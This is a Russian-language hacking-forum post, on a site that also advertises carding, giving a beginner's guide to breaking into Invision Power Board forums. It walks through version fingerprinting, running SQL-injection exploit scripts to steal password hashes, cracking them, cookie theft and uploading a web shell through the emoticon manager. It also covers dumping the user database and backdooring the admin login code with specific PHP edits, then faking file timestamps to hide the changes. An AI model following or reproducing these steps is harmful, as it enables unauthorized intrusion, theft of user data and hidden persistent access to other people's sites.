Заливы на карты - Платежные системы Обучение заливам на электронные кошельки и карты Карты с балансом - Купить карты с балансом
  1. Уважаемые посетители нашего форума. Ни в коем случае без проверки не проводите сделку с человеком, который предлагает услугу. Или используйте гаранта, либо если мы тему пропустили просите нас проверить его. И не забывайте зарегистрироваться на нашем форуме.
  2. Внимание. У нас изменились ns сервера домена. Некоторое время форум может у кого то не открываться. Все дело времени пока ваш провайдер не обновит свои днс сервера.
    Скрыть объявление

Уязвимость Ipb

Тема в разделе "Обзор уязвимостей IPB", создана пользователем Kven, 4 мар 2018.

  1. Автор темы
    Kven
    Offline

    Kven Модератор Команда форума Модератор Участник

    362
    51
    28
    Обзор уязвимостей Ipb

    1.Определение версии форума.
    2.Взлом форума.
    3.Закачака шелла и использование админки.
    4."Трояним" форум.

    (1)Определяем версию

    1.3
    присутсвует папки:
    /html/emoticons/
    /fonts/
    /Skin/
    /ssi_templates/
    присутсвтуют файлы
    ssi.php
    show.php
    css.php
    conf_mime_types.php

    2.0.*
    файлы:
    /sources/help.php
    /sources/usercp.php
    /sources/trial_functions.php
    /sources/topics.php
    /sources/taskloader.php
    реагирует на 403 "доступ запрещен" например к папке
    /ips_kernel/ как 403: Invision Power Board -> Forbidden

    2.1.*
    Присутсвуют папка
    /ips_kernel/PEAR/
    присутствует файлы:
    info.php
    реагирует на 403 "доступ запрещен" например к папке
    /ips_kernel/ как 403: IBForums-> Forbidden

    (2)А теперь займемся взломом
    Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку
    каждый вид взлома:
    1) sql инъекция
    Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее.
    затем качаем сплойты
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char);
    разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова.
    Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0
    где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума
    (0- 1.3; 1- 2.0.*)
    Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен.
    Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    читаем еще здесь
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!

    2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме

    Воруем куки, подделываем их(лучше всего под Opera, или CookieEditor), но в админку мы не зайдем, незная пароль(даже если будет хеш), В АДМИНКУ МОЖНО ЗАЙТИ ТОКА ЗНАЯ ПАРОЛЬ!

    (3)Заливаем шелл.

    ipb 1.3
    заходим под админом(как стать админом уже много раз обсуждалось)
    Далее заходим в "Administration(Администрирование)" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии:
    1.3 /forum/html/emoticons/shell.php
    2.* /forum/style_emoticons/default/shell.php
    где shell.php имя вашего загруженного шелла.

    ipb 2.*
    заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл.

    Скачиваем базу данных.
    Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим).
    Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо.

    (4)"ТРОЯНИМ" форум.

    А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
    ищем такие строки (по дефолту 382 строчка)

    ipb 1.3

    PHP:
    if ($GROUP['g_access_cp'] != 1)
    {
    do_login("You do not have access to the administrative CP");
    }
    else
    {
    $session_validated = 1;
    $this_session = $row;
    }
    и заменяем на
    PHP:
    if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
    {

    $session_validated = 1;
    $this_session = $row;
    }
    и ищим строчки (по дефолту 442 строчка)
    PHP:
    if ($GROUP['g_access_cp'] != 1)
    {
    do_login("You do not have access to the administrative CP");
    }
    else
    {

    //----------------------------------
    // All is good, rejoice as we set a
    // session for this user
    //----------------------------------

    $sess_id = md5( uniqid( microtime() ) );
    заменяем соотвественно на
    PHP:
    if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)

    {

    //----------------------------------
    // All is good, rejoice as we set a
    // session for this user
    //----------------------------------

    $sess_id = md5( uniqid( microtime() ) );
    потом ползем в файл /sources/Admin/ad_mysql.php и удаляем строки

    PHP:
    if ($MEMBER['mgroup'] != $INFO['admin_group'])
    {
    $ADMIN->error("Sorry, these functions are for the root admin group only");
    }
    ipb 2.*
    /sources/action_admin/login.php
    по дефолту 147 строчка
    удаляем строки
    PHP:
    if ($mem['g_access_cp'] != 1)
    {
    $this->login_form("You do not have access to the administrative CP");
    }
    else
    {
    и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
    sql.php по дефолту 46 строка:
    удаляем
    PHP:
    if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
    {
    $this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
    }
    потом идем сюда
    /sources/lib/admin_functions.php (строка 262)
    изменяем строку:
    PHP:
    $this->ipsclass->admin_session['_session_validated'] = 0;
    на
    PHP:
    $this->ipsclass->admin_session['_session_validated'] = 1;
    потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
    PHP:
    if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
    {
    $this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
    }
    А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
    do_login("You do not have access to the administrative CP");
    }

    то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
    touch -t 200310240921